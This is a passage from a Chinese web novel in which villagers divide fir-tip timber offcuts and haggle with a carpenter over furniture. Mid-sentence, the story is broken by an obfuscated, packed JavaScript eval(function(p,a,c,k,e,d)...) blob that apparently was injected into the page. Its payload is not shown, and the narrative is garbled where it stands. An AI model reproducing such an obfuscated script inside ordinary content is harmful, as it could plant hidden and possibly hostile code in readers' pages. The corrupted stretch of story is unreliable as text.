尤其李巨山,大概对自己的身材特别满意,腰带一勒就把乌漆嘛黑的肚脐绷紧。 田武也想脱来着,听闻一片鄙夷的“咦”声,他手顿了顿,又把衫子拢上了。 向园正坐在棚子底下歇憩的木桩上整理箬叶,听见这声音,她抬头去看,就见原耕耘大踏步走过来,直直挡在她前头。 一句“怎么了”还未问出口,里正严厉的声音传来,“就你俩热?穿上!” 向园不明所以,睁大眼睛,里头是明晃晃的疑问。 原耕耘一直低着头,此时跟她对上视线,有点后悔让她在这儿等自己了。 他还没回答,向园大概自己想明白了,脸上的疑问变成幸灾乐祸的笑意。 她偏头绕过原耕耘的腿往外瞧了瞧,见大家衣裳都穿得齐整,没有哪个袒胸赤膊的,她摆摆手,“你快去忙吧!” 原耕耘:“……别捡那个了,捡这个。” 他把自己的一担行李挑过来放下。 一边筐子里是他带上山的衣裳铺盖工具等物。另一边筐子里,就是他用饼子和猎物换来的菌子木耳等山货。 时间紧,菌子这些他都是趁晚上睡前晾的,第二天晚上收起。夜色黑,他晒得比较潦草,都没好好清理干净枯枝杂叶。 还有一窝野蜂蜜,装在铁鼎罐里。是他老早就瞄准点,下山前才掏的,还新鲜着。 向园已经闻见香味了。 她再度低下头,仔细挑拣菌子,不只清理枯枝杂叶,还分门别类放置。 原耕耘他们干活都麻利,几百根木头,九个人,不过半个时辰就卸好搭成垛了。 运下来的杉木尾梢也堆在这儿,契约上写明的,伐木所得边角余料,原耕耘得五成,余下五成八人共分。 因为主材上,原耕耘相当于把五成利都分给他们了,已经不算少,所以关于杉梢,即便分不到,大家也没有意见。 数目不整不零的不好分,原耕耘干脆让他们一人拿一百二十五根,剩下的九百来根就是他的。 杉木尾梢要物尽其用还需要再处理,这不到两千根,数量着实不算多,当然也不算少,要往回拉还得费一番工夫,不想费事的,可能直接就卖了。 早已有得了信儿的木匠和砖瓦窑、陶窑窑主在这儿守着问价。 大家都瞧原耕耘,要卖的话,当然是大家一起卖才好谈价格。 原耕耘没打算卖,主要边角废料也卖不上价,百梢之值也未必抵得上一根主材,便道:“你们商量着谈,我留着还有用。” “哎,怎么就不卖了呢?” 田武他们还没急,木匠和砖瓦窑、陶窑的窑主倒先急了。 两个窑主先头你防我我防你的,可都是等着独吞这批货的,本来两千根就不是很多,现在占了一半的主家都不卖,他们还能买着多少,一个个都上前跟原耕耘分析利弊。 原耕耘皱皱眉,只问那木匠,“我要打一只药柜,一个方五尺可折叠的晒架,两只衣箱,一只衣橱,一只矮柜,一个炕几,还要再箍两个大木桶,两个大木盆,大概需要多少木料,工费的话要用多少根木料抵?” 这是来大生意了?陈木匠愣了一下,心里马上盘算起来。 “一般尺寸的药柜得用四十根木料,晒架八根,衣箱每个十根,衣橱三十根,矮柜十五根,炕几五根,木桶、木盆看你要多大的,像是木盆径三尺,深一尺的,一个要八根。桶就要更多……” 他还没说完,原耕耘就问,“不要桶了,要四个三尺大盆,看看工费吧!” 砖瓦窑主和陶窑主在边上干着急,此时看他们真像做生意的样子,只得找另外几人商量。 大家却都不感兴趣了,都想听木匠是个什么盘算,要是合适的话,他们也打家具多好啊! 陈木匠想了一会儿,急道:“工费要看工期的。” 原耕耘瞧着他不说话。 陈木匠知晓自己说了傻话,找补道:“……工期要看你要打什么样式,样式复杂,又要雕花又要镶边的,工期自然长。” 周满仓听着很是惊奇,“陈木匠你还会镶边呢!回头我去你那儿瞧瞧是什么边儿!” 陈木匠在草市桥那边做生意,十里八村要打个什么箱子柜子的,都过去找他。 周满仓正想打个镶铜边的小钱箱呢,看着就金贵。 陈木匠朝他瞪眼睛,这么会拆台咋不去戏班子里打杂?真想把他的榆木脑袋解下来车珠子用。 原耕耘算了一下,那么多东西全部做下来要一百五十来根杉梢。陈木匠报的时候肯定把打制过程中可能会产生的损耗也都计进去了,这个数不算实诚,但要去家具铺子里买的话,这几样没个六七两银子是下不来的,他心里有数了,转头问向园还需不需要别的。 向园听了半晌都没反应过来,这会儿猛然回神,摇头道:“没啦!” 药柜、晒架、衣橱、衣箱、大木盆都有,原耕耘想得很周到,别的不差什么。 原耕耘这才转身道:“不要雕花,不要镶边,我前头在你那买过一个榆木的黑漆顶箱直角柜,都按那个样式做就行,要方方正正的。除了上头我说的,再多加两个晒架。” 陈木匠一喜,为这笔生意跑不了了高兴,面上还要发愁道:“九郎,你这东西不少啊,我加急赶也得两个月才能完工。这样吧,我也不多收你的,你就折四百五十根杉梢给我吧,我连柜门要用的铜铁包片也都给你算进去。” 原耕耘伸出四根手指,“四百根。” 陈木匠没想到他一还价就还到人心坎上,一时间乐也不是,愁也不是。 原耕耘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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黄家兄弟刚搬了家,说是家徒四壁也不为过。哥俩加起来也能得两百五十根杉梢,卖出去就是一两银子,确实不如做几样家具来得划算。 两人对视一眼,去找陈木匠讨价。 田武几个也动心,做家具折工费确实比单卖要划算得多。不过他们都不是肯操心的人,媳妇儿老娘不念叨,哪知道家里缺什么少什么,也只等跟家里人商量过了再来讨信儿。 两个窑主一看没他们的事,瘪着嘴走了。 李巨山拉扯都拉扯不及,单他的一百来根杉木,既不够一车装,也不够一窑烧的,他们才懒得费事呢。 陆盛倒想卖,但他不想卖给窑主,看他们拉拉扯扯的劲儿,就知道给不了好价钱。 他去找陈木匠商量,“你这都要装车的,给我这开个价,一起拉走吧。” 陆家五世同堂,还没分家,但陆盛这话说得却很硬实。 他太爷爷说了,他得的分成得交到公中,但边角余料得的钱他可以自己收着。像是三房阿七摘桑葚挣的钱,还有二房看棚子的钱也都是各房自己收着。 陈木匠琢磨一会儿,反正原耕耘的四百根,加上周家兄弟的二百五十根和黄家兄弟的二百五十根,肯定要来两趟了,再加上陆盛的凑满两整车也好,便也应下。 陆盛当即指指自己那一堆,让他装走。 李巨山看着有戏,也往前去。 陈木匠这回是真吃不下了。 他原本就打算只买一车的,也没准备太多本钱,这都两车了,千把根木料,本钱都抵进去三四两了,再收的话,要做到何年何月去。而且,卖家具也不能只卖杉木的不是? “我这一车五百来根,都勉强装得下。再加你的,实在不好装了。这样吧,你要是能说动他们再卖个三四百根,能凑够一车,我就再来一趟。或者你家有车,给我运到草市桥去,我就也收下。” 这来回一趟,不说车钱,就是装卸也要费不少劲儿呢,他可只有两个小伙计。 李巨山傻眼了,柳凤给他使了个眼色,李巨山扭扭脸,转头去找周铁脊和田武,他觉得他俩可能会卖。 周铁脊和田武刚找了家里人问,他们俩都要做家具。但陈木匠做活的手艺好归好,要价却贵。 田武的媳妇儿是个精打细算的,刚就跟周铁脊媳妇儿商量着,把杉梢拉回去,回头农闲了从十里滩请个木匠来家打,要价要便宜一些,正好也趁这段时间把木头好好晾一晾。 李巨山没法子,只能去找原耕耘。